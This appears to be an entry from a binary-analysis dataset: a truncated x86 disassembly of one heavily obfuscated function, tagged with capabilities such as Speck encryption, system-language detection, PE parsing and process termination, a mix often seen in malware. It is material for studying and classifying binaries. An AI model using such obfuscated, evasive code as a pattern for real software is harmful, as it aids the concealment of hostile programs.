Function at 0x100486f0
Capabilities:
Encrypt data using speck
Identify system language via api
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a57c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xcf8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x100cd118]
mov dword [ebp - 0xcbc], eax
mov ecx, dword [0x100cd118]
mov dword [ebp - 0x70], ecx
mov byte [ebp - 0x11], 4
movsx dx, byte [0x100cd047]
mov word [ebp - 0x2c], dx
mov byte [ebp - 0x12], 0x8f
mov dword [ebp - 0x38], 0x86
mov eax, 0x4e845
mov dword [ebp - 0x48], 0xd2b77042
mov dword [ebp - 0x44], eax
movsx cx, byte [0x100cd06f]
mov word [ebp - 0x24], cx
mov dl, byte [0x100cd0e0]
mov byte [ebp - 0x13], dl
mov eax, 0xffffd470
mov word [ebp - 0x28], ax
movsx ecx, word [0x100cd0e8]
mov dword [ebp - 0x40], ecx
mov edx, 0x4bc1
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x4c], 0x5edf946d
mov eax, 0x4f93
mov word [ebp - 0x30], ax
mov ecx, 0xe63e
mov word [ebp - 0x18], cx
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
xor edx, edx
mov dword [ebp - 0x54], 0x78
mov dword [ebp - 0x50], edx
mov byte [ebp - 0x14], 0x7a
movzx eax, word [0x100cd10c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x64], 0x5e757388
mov ecx, dword [0x100cd0ac]
mov dword [ebp - 0x60], ecx
movzx eax, byte [0x100cd027]
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
xor edx, edx
mov dword [ebp - 0x6c], 0xa841
mov dword [ebp - 0x68], edx
mov ax, word [0x100cd0dc]
mov word [ebp - 0x34], ax
mov ecx, dword [0x100cd0a8]
mov word [ebp - 0x20], cx
mov eax, dword [0x100cd0ac]
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
xor edx, edx
mov dword [ebp - 0xca0], 0x567d9c7c
mov dword [ebp - 0xc9c], edx
mov byte [ebp - 0xb1], 0xbf
mov ax, word [0x100cd084]
mov word [ebp - 0x98c], ax
mov byte [ebp - 0xb2], 0x6c
mov cx, word [0x100cd0ec]
mov word [ebp - 0x988], cx
mov byte [ebp - 0xb3], 0xd1
movzx edx, byte [0x100cd07f]
mov dword [ebp - 0xc88], edx
xor eax, eax
mov dword [ebp - 0xca8], 0xd2
mov dword [ebp - 0xca4], eax
mov ecx, dword [0x100cd0b0]
mov dword [ebp - 0xb98], ecx
mov dx, word [0x100cd0d0]
mov word [ebp - 0x984], dx
movsx eax, byte [0x100cd083]
mov dword [ebp - 0xb9c], eax
mov cl, byte [str.6BlockUpgradeIfDriv]
mov byte [ebp - 0xad], cl
mov edx, 0x51
mov word [ebp - 0x7c8], dx
mov eax, 0xe972
mov word [ebp - 0x980], ax
mov cx, word [0x100cd0d0]
mov word [ebp - 0x97c], cx
mov byte [ebp - 0xae], 0x59
jmp 0x100488f0
jmp 0x100488fc
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xb8], edx
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
movzx eax, word [ebp - 0x20]
cdq
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x9ac], edx
mov dword [ebp - 0x9b8], ecx
mov dword [ebp - 0x9b4], esi
mov edx, dword [ebp - 0x9b0]
cmp edx, dword [ebp - 0x9b8]
jne 0x1004894d
mov eax, dword [ebp - 0x9ac]
cmp eax, dword [ebp - 0x9b4]
je 0x10048959
mov dword [ebp - 0x608], 1
jmp 0x10048963
mov dword [ebp - 0x608], 0
movzx ecx, word [ebp - 0x20]
cmp ecx, 0x17
je 0x10048978
mov dword [ebp - 0x60c], 1
jmp 0x10048982
mov dword [ebp - 0x60c], 0
mov edx, dword [ebp - 0x608]
cmp edx, dword [ebp - 0x60c]
jle 0x10048a05
imul eax, dword [ebp - 0x3c], 0x9e3c2428
mov dword [0x100cd090], eax
mov ecx, dword [0x100cd0b0]
add ecx, 0x95c7386b
movzx eax, byte [ebp - 0x14]
cdq
sub eax, ecx
mov byte [ebp - 0x14], al
movsx edx, word [ebp - 0x34]
test edx, edx
jne 0x100489c8
mov eax, 1
mov word [ebp - 0x92], ax
jmp 0x100489d1
xor ecx, ecx
mov word [ebp - 0x92], cx
mov dx, word [ebp - 0x92]
mov word [0x100cd0e8], dx
mov eax, dword [ebp - 0x54]
add eax, 0xa230214
mov word [ebp - 0x30], ax
mov ecx, dword [0x100cd0f0]
xor edx, edx
xor ecx, 0x62a54c98
xor edx, 0xbfba5
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0xb8]
add eax, 0x202
mov dword [ebp - 0x740], eax
movsx eax, word [0x100cd0ec]
cdq
push edx
push eax
mov ecx, dword [0x100cd08c]
push ecx
mov edx, dword [0x100cd088]
push edx
call fcn.100604c0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x6c]
or eax, dword [ebp - 0x68]
je 0x10048ac9
mov ecx, dword [ebp - 0x38]
movsx eax, byte [0x100cd026]
cdq
mov edx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
mov dword [ebp - 0xba0], esi
add edx, eax
or edx, ecx
mov byte [0x100cd06f], dl
movzx eax, byte [ebp - 0x14]
imul ecx, eax, 0x89eb48fe
mov dword [0x100cd0a8], ecx
movsx edx, word [ebp - 0x2c]
movzx eax, word [ebp - 0x30]
xor eax, edx
mov word [ebp - 0x30], ax
movsx ecx, word [0x100cd110]
imul edx, ecx, 0x8a
mov dword [0x100cd090], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
add eax, dword [ebp - 0x54]
adc ecx, dword [ebp - 0x50]
mov edx, dword [0x100cd0e4]
add edx, dword [ebp - 0x40]
xor esi, esi
push ecx
push eax
push esi
push edx
call fcn.10099890
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x14], 0x7e
jmp 0x10048b40
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x80]
or ecx, dword [ebp - 0x7c]
jne 0x10048ae6
mov dword [ebp - 0x174], 1
jmp 0x10048af0
mov dword [ebp - 0x174], 0
movsx edx, word [0x100cd0dc]
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x174]
imul eax, edx
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov edx, 0x1c165ef6
sub edx, dword [ebp - 0x4c]
mov word [0x100cd094], dx
movzx eax, byte [0x100cd027]
movzx ecx, word [ebp - 0x1c]
xor ecx, eax
movzx edx, word [ebp - 0x1c]
imul edx, ecx
mov word [ebp - 0x1c], dx
mov eax, dword [0x100cd104]
sub eax, 0x68
mov word [0x100cd110], ax
mov ecx, dword [ebp - 0xb8]
add ecx, 0x1ac
mov dword [ebp - 0xba4], ecx
jmp 0x10048ba2
jmp 0x10048bd0
jmp 0x10048bf0
jmp 0x10048c01
jmp 0x10048c3e
mov edx, dword [ebp - 0xb8]
add edx, 0x8b
mov dword [ebp - 0x9a0], edx
mov al, byte [0x100cd0d0]
mov byte [0x100cd083], al
movsx ecx, word [0x100cd0dc]
mov edx, dword [ebp - 0x40]
sub edx, ecx
mov dword [ebp - 0x40], edx
movsx eax, byte [ebp - 0x12]
sar eax, 4
mov word [0x100cd110], ax
mov ecx, dword [ebp - 0x80]
or ecx, dword [ebp - 0x7c]
je 0x10048c92
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x64c], edx
mov dword [ebp - 0x648], eax
jmp 0x10048ca6
movsx eax, word [0x100cd098]
cdq
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], edx
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x38], ecx
movzx edx, word [ebp - 0x1c]
sar edx, 5
mov byte [0x100cd026], dl
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xbc], eax
movsx eax, word [0x100cd0e8]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call fcn.10099890
mov ecx, eax
mov esi, edx
movsx eax, byte [0x100cd083]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
movsx eax, word [0x100cd098]
not eax
cdq
mov esi, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xba8], edx
add esi, eax
movsx eax, word [0x100cd110]
cdq
mov ecx, dword [0x100cd11c]
push ecx
mov ecx, dword [0x100cd118]
push ecx
push edx
push eax
call fcn.10099890
sub eax, esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x70], 0x6c10
mov edx, dword [0x100cd104]
imul edx, dword [0x100cd0e0]
mov dword [0x100cd0e0], edx
mov dword [0x100cd0c8], 0xdfb4a093
mov eax, dword [ebp - 0xbc]
add eax, 0x3d8
mov dword [ebp - 0x744], eax
movzx ecx, byte [ebp - 0x13]
push ecx
movzx edx, byte [ebp - 0x14]
push edx
push 0
movzx eax, byte [ebp - 0x30]
push eax
push 0x1f
push 0
push 0
call fcn.1005c4d0
add esp, 0x1c
movsx cx, al
mov word [ebp - 0x24], cx
movzx edx, word [ebp - 0x24]
test edx, edx
jge 0x10048da3
mov dword [ebp - 0x178], 1
jmp 0x10048dad
mov dword [ebp - 0x178], 0
movzx eax, word [ebp - 0x24]
cmp eax, 0x21
jge 0x10048dc2
mov dword [ebp - 0x17c], 1
jmp 0x10048dcc
mov dword [ebp - 0x17c], 0
mov ecx, dword [ebp - 0x178]
cmp ecx, dword [ebp - 0x17c]
jle 0x100490e8
mov edx, dword [0x100cd0f0]
cmp edx, dword [ebp - 0x70]
je 0x10048df5
mov dword [ebp - 0x180], 1
jmp 0x10048dff
mov dword [ebp - 0x180], 0
cmp dword [0x100cd0f0], 0x2c
je 0x10048e14
mov dword [ebp - 0x184], 1
jmp 0x10048e1e
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0x184]
jge 0x10048f20
movsx ecx, word [ebp - 0x2c]
imul ecx, dword [0x100cd0e4]
movsx edx, word [ebp - 0x2c]
add edx, ecx
mov word [ebp - 0x2c], dx
movsx eax, word [0x100cd0dc]
movzx ecx, word [ebp - 0x20]
sub ecx, eax
mov eax, ecx
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [0x100cd100]
cdq
mov edi, eax
mov ebx, edx
sub edi, dword [0x100cd0f8]
sbb ebx, dword [0x100cd0fc]
sub edi, ecx
sbb ebx, esi
movzx eax, byte [0x100cd082]
cdq
mov ecx, eax
mov esi, edx
add ecx, 0xe7aab7f8
adc esi, 0xc6642
not ecx
not esi
mov edx, dword [ebp - 0x3c]
not edx
mov eax, edx
imul eax, dword [ebp - 0x4c]
cdq
add eax, ecx
adc edx, esi
not eax
not edx
sub eax, edi
sbb edx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov ax, word [0x100cd094]
sub ax, 1
mov word [0x100cd094], ax
mov ecx, dword [0x100cd118]
add ecx, 1
mov edx, dword [0x100cd11c]
adc edx, 0
mov dword [0x100cd118], ecx
mov dword [0x100cd11c], edx
cmp dword [ebp - 0x3c], 0
jne 0x10048eed
mov dword [ebp - 0x188], 1
jmp 0x10048ef7
mov dword [ebp - 0x188], 0
mov eax, dword [0x100cd090]
imul eax, dword [ebp - 0x188]
not eax
movsx ecx, byte [0x100cd026]
add ecx, eax
movzx edx, word [ebp - 0x1c]
add edx, ecx
mov word [0x100cd098], dx
jmp 0x100490e6
movsx eax, byte [0x100cd047]
test eax, eax
jne 0x10048f62
movzx ecx, byte [0x100cd082]
test ecx, ecx
jne 0x10048f62
xor edx, edx
mov eax, dword [0x100cd0d0]
sub eax, dword [ebp - 0x60]
mov ecx, dword [0x100cd0d4]
sbb ecx, edx
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], ecx
mov edx, dword [ebp - 0x9c0]
or edx, dword [ebp - 0x9bc]
je 0x10048fbb
mov eax, dword [ebp - 0x70]
xor ecx, ecx
add eax, dword [ebp - 0x78]
adc ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x78]
sub edx, eax
mov eax, dword [ebp - 0x74]
sbb eax, ecx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
movsx eax, word [ebp - 0x2c]
cdq
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
add eax, 0x74998d71
mov dword [0x100cd0ac], eax
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x3c], edx
mov eax, 0x30
mov word [ebp - 0x2c], ax
jmp 0x100490e6
movsx ecx, word [ebp - 0x28]
test ecx, ecx
jne 0x10048fcf
mov dword [ebp - 0x18c], 1
jmp 0x10048fd9
mov dword [ebp - 0x18c], 0
mov edx, dword [0x100cd0a8]
cmp dword [ebp - 0x18c], edx
je 0x10048ff3
mov dword [ebp - 0x190], 1
jmp 0x10048ffd
mov dword [ebp - 0x190], 0
movzx eax, word [0x100cd0b8]
cmp dword [ebp - 0x190], eax
jle 0x1004907a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov cl, 3
call fcn.100998d0
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
mov ecx, dword [0x100cd090]
sub ecx, 0x5cf5c1e1
xor edx, edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], edx
xor eax, eax
mov dword [0x100cd088], 2
mov dword [0x100cd08c], eax
mov byte [0x100cd082], 0xba
movsx ecx, byte [0x100cd083]
mov edx, dword [0x100cd0ac]
imul edx, dword [0x100cd0e4]
sub edx, ecx
movsx eax, word [0x100cd0d8]
imul ecx, eax, 0
and ecx, edx
mov byte [0x100cd096], cl
jmp 0x100490e6
movsx edx, byte [0x100cd047]
test edx, edx
je 0x100490e6
movzx eax, byte [ebp - 0x13]
cdq
push 0x29092
push 0x99ca1a3a
push edx
push eax
call fcn.10099890
mov word [0x100cd0d8], ax
push 0
push 0x8723
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.10099890
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov dword [ebp - 0x70], 2
movsx edx, word [ebp - 0x28]
add edx, 0xf8b3
movzx eax, byte [ebp - 0x14]
sub eax, edx
mov byte [ebp - 0x14], al
mov ecx, dword [ebp - 0x6c]
sub ecx, 0x3f2a21c8
mov byte [ebp - 0x11], cl
jmp 0x10049162
movsx eax, byte [0x100cd06f]
cdq
mov ecx, eax
sub ecx, dword [ebp - 0x80]
movsx eax, byte [0x100cd06f]
cdq
sub eax, ecx
mov byte [0x100cd06f], al
movzx dx, byte [ebp - 0x11]
mov word [ebp - 0x1c], dx
movsx eax, word [0x100cd110]
movzx ecx, word [ebp - 0x1c]
sub ecx, eax
add ecx, dword [ebp - 0x3c]
mov word [ebp - 0x2c], cx
movzx eax, word [0x100cd094]
cdq
sub eax, 0xd0bd10b8
sbb edx, 0xaf81c
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov edx, dword [0x100cd0a8]
add edx, 0x6ea69989
mov word [0x100cd0b8], dx
mov eax, dword [0x100cd104]
imul eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xbc]
add ecx, 0x201
mov dword [ebp - 0xbac], ecx
mov edx, dword [0x100cd0e4]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
mov byte [0x100cd06f], al
movsx eax, byte [0x100cd06f]
test eax, eax
jg 0x1004919e
movzx ecx, word [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100491fc
cmp dword [0x100cd0c8], 0
je 0x100491fc
mov dl, byte [0x100cdb38]
mov byte [0x100cd026], dl
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0xbb0], ecx
add eax, 0x931cd17a
mov byte [0x100cd047], al
movzx edx, word [ebp - 0x30]
movzx eax, word [ebp - 0x1c]
add eax, edx
mov word [ebp - 0x1c], ax
movzx eax, word [ebp - 0x24]
sub eax, 0x58
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov ecx, dword [0x100cd090]
mov edx, 4
imul eax, edx, 0x35b4
mov dword [eax + 0x1029d290], ecx
mov ecx, dword [ebp - 0xbc]
add ecx, 0xbe
mov dword [ebp - 0xe8], ecx
push 0xc8b84
push 0x97bb05ba
mov edx, dword [0x100cd11c]
push edx
mov eax, dword [0x100cd118]
push eax
call fcn.10099890
not eax
mov word [ebp - 0x18], ax
mov cx, word [0x100cd0b8]
add cx, 1
mov word [0x100cd0b8], cx
movzx edx, byte [ebp - 0x11]
sub edx, 0x7cc36b35
xor eax, eax
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], eax
movzx eax, byte [ebp - 0x13]
cdq
xor eax, 0x57bedf38
xor edx, 0x46728
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
movsx edx, word [ebp - 0x2c]
movzx eax, byte [ebp - 0x11]
add eax, edx
mov byte [ebp - 0x11], al
movzx ecx, byte [ebp - 0x13]
shl ecx, 2
mov word [ebp - 0x30], cx
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xc8], edx
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
je 0x100492d3
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0xbb4], eax
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.USER32.dll_ArrangeIconicWindows]
mov dword [ebp - 0xbb8], eax
cmp dword [0x100cd0c8], 0
jl 0x100492e8
mov dword [ebp - 0x194], 1
jmp 0x100492f2
mov dword [ebp - 0x194], 0
cmp dword [0x100cd0c8], 0x1f
jl 0x10049307
mov dword [ebp - 0x198], 1
jmp 0x10049311
mov dword [ebp - 0x198], 0
mov edx, dword [ebp - 0x194]
cmp edx, dword [ebp - 0x198]
jle 0x100494af
movzx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
not ecx
cmp ecx, eax
jne 0x1004933c
mov dword [ebp - 0x1a0], 1
jmp 0x10049346
mov dword [ebp - 0x1a0], 0
mov edx, dword [0x100cd118]
not edx
mov eax, dword [0x100cd11c]
not eax
mov dword [ebp - 0x9c8], edx
mov dword [ebp - 0x9c4], eax
cmp dword [ebp - 0x9c4], 0
ja 0x10049384
jb 0x10049378
cmp dword [ebp - 0x9c8], 0xed925180
jae 0x10049384
mov dword [ebp - 0x1a4], 1
jmp 0x1004938e
mov dword [ebp - 0x1a4], 0
cmp dword [ebp - 0x70], 0
je 0x100493a8
movzx ecx, byte [ebp - 0x13]
test ecx, ecx
je 0x100493a8
mov dword [ebp - 0x19c], 1
jmp 0x100493b2
mov dword [ebp - 0x19c], 0
movzx edx, word [ebp - 0x24]
cmp dword [ebp - 0x19c], edx
jne 0x100493ca
mov dword [ebp - 0x1a8], 1
jmp 0x100493d4
mov dword [ebp - 0x1a8], 0
mov eax, dword [ebp - 0x1a0]
not eax
or eax, dword [ebp - 0x1a4]
cmp eax, dword [ebp - 0x1a8]
jne 0x10049464
mov byte [0x100cd07f], 1
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
push 0
push 0x4d9d
push edx
push ecx
call fcn.10099890
mov dword [0x100cd104], eax
mov eax, dword [0x100cd0ac]
add eax, 0x7b
mov byte [0x100cd082], al
movzx ecx, word [ebp - 0x20]
movzx edx, byte [0x100cd082]
movsx eax, byte [0x100cd047]
imul eax, edx
add eax, ecx
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
push 0x75dc3
push 0xc4d8d4dc
mov eax, dword [0x100cd0b4]
push eax
mov ecx, dword [0x100cd0b0]
push ecx
call fcn.10099890
mov ecx, eax
mov eax, dword [ebp - 0x4c]
cdq
sub eax, ecx
mov dword [ebp - 0x4c], eax
jmp 0x100494aa
movsx edx, byte [0x100cd047]
imul eax, edx, 0xf9
mov dword [ebp - 0x38], eax
movzx eax, byte [ebp - 0x14]
cdq
sub eax, 0xfd8bc52f
mov dword [0x100cd0e0], eax
movzx ecx, word [ebp - 0x20]
imul edx, ecx, 0x756b
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x4c]
sub eax, 0xea
mov word [0x100cd10c], ax
mov ecx, dword [0x100cdb38]
mov dword [0x100cd100], ecx
jmp 0x100495ec
movsx edx, byte [ebp - 0x12]
test edx, edx
je 0x100495ec
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
movsx ecx, word [ebp - 0x34]
test ecx, ecx
jne 0x100494e0
xor edx, edx
mov dword [ebp - 0x654], 1
mov dword [ebp - 0x650], edx
jmp 0x100494eb
xorps xmm0, xmm0
movlpd qword [ebp - 0x654], xmm0
mov eax, dword [ebp - 0x650]
push eax
mov ecx, dword [ebp - 0x654]
push ecx
mov edx, dword [0x100cd0d4]
push edx
mov eax, dword [0x100cd0d0]
push eax
call fcn.10099890
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x9cc], edx
mov ecx, dword [ebp - 0x9d0]
or ecx, dword [ebp - 0x9cc]
jne 0x10049531
mov dword [ebp - 0x1ac], 1
jmp 0x1004953b
mov dword [ebp - 0x1ac], 0
movsx edx, byte [0x100cd026]
sub edx, dword [ebp - 0x1ac]
jne 0x10049556
mov dword [ebp - 0x1b8], 1
jmp 0x10049560
mov dword [ebp - 0x1b8], 0
movzx eax, word [ebp - 0x30]
test eax, eax
jne 0x10049574
mov dword [ebp - 0x1b0], 1
jmp 0x1004957e
mov dword [ebp - 0x1b0], 0
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x1b0]
jne 0x10049595
mov dword [ebp - 0x1b4], 1
jmp 0x1004959f
mov dword [ebp - 0x1b4], 0
mov edx, dword [0x100cd0c8]
movsx eax, byte [str.6BlockUpgradeIfDriv]
add eax, dword [ebp - 0x1b4]
add edx, eax
and edx, dword [ebp - 0x1b8]
mov dword [ebp - 0x64], edx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xbbc], edx
add ecx, 0xa8
mov word [ebp - 0x18], cx
mov eax, dword [0x100cd084]
sub eax, dword [0x100cd084]
mov ecx, dword [0x100cd084]
sub ecx, eax
mov dword [0x100cd084], ecx
mov edx, dword [ebp - 0xc8]
add edx, 0x325
mov dword [ebp - 0xbc0], edx
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov edx, dword [0x100cd0f8]
add edx, 0xc0ff0196
mov eax, dword [0x100cd0fc]
adc eax, 0
mov ecx, dword [0x100cd084]
xor esi, esi
push eax
push edx
push esi
push ecx
call fcn.10099890
mov dword [0x100cd084], eax
movsx edx, byte [0x100cd026]
add edx, 0xfe
movzx eax, word [0x100cd10c]
sub eax, edx
mov word [0x100cd10c], ax
movzx ecx, byte [0x100cd082]
imul eax, ecx, 0x1268
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movzx edx, byte [ebp - 0x14]
add edx, 0x2893
mov word [0x100cd098], dx
mov eax, dword [ebp - 0xc8]
add eax, 0x6c
mov dword [ebp - 0xbc4], eax
movsx ecx, word [0x100cd0e8]
test ecx, ecx
jne 0x100496a3
xor edx, edx
mov dword [ebp - 0x65c], 1
mov dword [ebp - 0x658], edx
jmp 0x100496ae
xorps xmm0, xmm0
movlpd qword [ebp - 0x65c], xmm0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
not eax
not ecx
mov dword [ebp - 0x9d8], eax
mov dword [ebp - 0x9d4], ecx
mov edx, dword [ebp - 0x9d4]
cmp edx, dword [ebp - 0x658]
jg 0x10049943
jl 0x100496ea
mov eax, dword [ebp - 0x9d8]
cmp eax, dword [ebp - 0x65c]
ja 0x10049943
mov dword [ebp - 0xc4], 0xc8f
mov ecx, dword [ebp - 0x78]
xor ecx, 0x47d3
mov dword [0x100cd100], ecx
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov cl, 2
call fcn.100999a0
mov byte [0x100cd047], al
mov edx, dword [ebp - 0x60]
sub edx, 0xbd
mov word [0x100cd10c], dx
movsx eax, word [ebp - 0x34]
cdq
sub eax, 0xea3e7706
mov word [ebp - 0x20], ax
movsx eax, byte [0x100cd06f]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
jne 0x10049755
xor edx, edx
mov dword [ebp - 0x664], 1
mov dword [ebp - 0x660], edx
jmp 0x10049760
xorps xmm0, xmm0
movlpd qword [ebp - 0x664], xmm0
mov eax, dword [ebp - 0x664]
mov ecx, dword [ebp - 0x660]
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], ecx
cmp dword [ebp - 0xc4], 0xb21
jle 0x1004993e
mov dword [ebp - 4], 0
jmp 0x100497b0
jmp 0x100497c3
jmp 0x100497e0
jmp 0x100497f0
jmp 0x1004991a
mov dword [ebp - 4], 0xffffffff
jmp 0x1004992a
mov edx, dword [ebp - 0xc4]
sub edx, 1
mov dword [ebp - 0xc4], edx
jmp 0x10049777
jmp 0x10049af3
movsx eax, word [0x100cd0ec]
test eax, eax
jne 0x100499fd
movsx ecx, word [ebp - 0x28]
add ecx, dword [ebp - 0x60]
or ecx, dword [ebp - 0x60]
mov dword [ebp - 0x60], ecx
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
cdq
sub eax, ecx
sbb edx, esi
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov edx, 4
imul eax, edx, 0x2b
mov cx, word [eax + 0x1029c660]
mov word [0x100cd0dc], cx
movsx eax, word [0x100cd098]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [ebp - 0x78]
adc esi, dword [ebp - 0x74]
movsx eax, byte [0x100cd083]
cdq
sub eax, ecx
sbb edx, esi
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e4], edx
mov edx, dword [ebp - 0x9e8]
or edx, dword [ebp - 0x9e4]
jne 0x100499d2
mov dword [ebp - 0x1c4], 1
jmp 0x100499dc
mov dword [ebp - 0x1c4], 0
mov eax, dword [ebp - 0x1c4]
mov dword [0x100cd0f0], eax
movzx ecx, word [0x100cd0b8]
add ecx, dword [ebp - 0x3c]
mov word [0x100cd0b8], cx
jmp 0x10049af3
movzx edx, word [0x100cd094]
test edx, edx
jne 0x10049a14
mov dword [ebp - 0x1c8], 1
jmp 0x10049a1e
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x78]
or eax, dword [ebp - 0x74]
jne 0x10049a32
mov dword [ebp - 0x1cc], 1
jmp 0x10049a3c
mov dword [ebp - 0x1cc], 0
mov ecx, dword [ebp - 0x1c8]
or ecx, dword [ebp - 0x1cc]
je 0x10049af3
movzx edx, byte [ebp - 0x13]
imul eax, edx, 0xf1b6b831
mov dword [ebp - 0x40], eax
movzx eax, word [ebp - 0x30]
cdq
push 0x70384
push 0x8f61d9a3
push edx
push eax
call fcn.10099890
mov ecx, eax
movzx eax, word [ebp - 0x18]
cdq
sub eax, ecx
mov word [ebp - 0x18], ax
xor edx, edx
mov eax, dword [0x100cd0b0]
sub eax, dword [ebp - 0x60]
mov ecx, dword [0x100cd0b4]
sbb ecx, edx
add eax, dword [0x100cd0b0]
adc ecx, dword [0x100cd0b4]
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], ecx
mov dword [0x100cd100], 0xe2
movsx edx, word [ebp - 0x2c]
imul edx, dword [ebp - 0x3c]
movsx eax, word [ebp - 0x2c]
sub eax, edx
mov word [ebp - 0x2c], ax
movsx ecx, word [0x100cd0dc]
mov edx, dword [0x100cd0a8]
add edx, ecx
jne 0x10049ae0
mov dword [ebp - 0x1d0], 1
jmp 0x10049aea
mov dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0xc8]
add ecx, 0x1bb
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0x9ec], eax
mov ecx, dword [ebp - 0x9f0]
or ecx, dword [ebp - 0x9ec]
jne 0x10049b37
cmp dword [ebp - 0x60], 0
jne 0x10049b37
mov dword [ebp - 0x1d8], 1
jmp 0x10049b41
mov dword [ebp - 0x1d8], 0
mov edx, dword [0x100cd0f0]
cmp dword [ebp - 0x64], edx
ja 0x10049b58
mov dword [ebp - 0x1d4], 1
jmp 0x10049b62
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x1d4]
not eax
imul eax, dword [ebp - 0x1d8]
test eax, eax
je 0x10049c84
mov ecx, dword [ebp - 0x70]
xor edx, edx
mov eax, dword [0x100cd088]
mov esi, dword [0x100cd08c]
mov dword [ebp - 0x9f8], eax
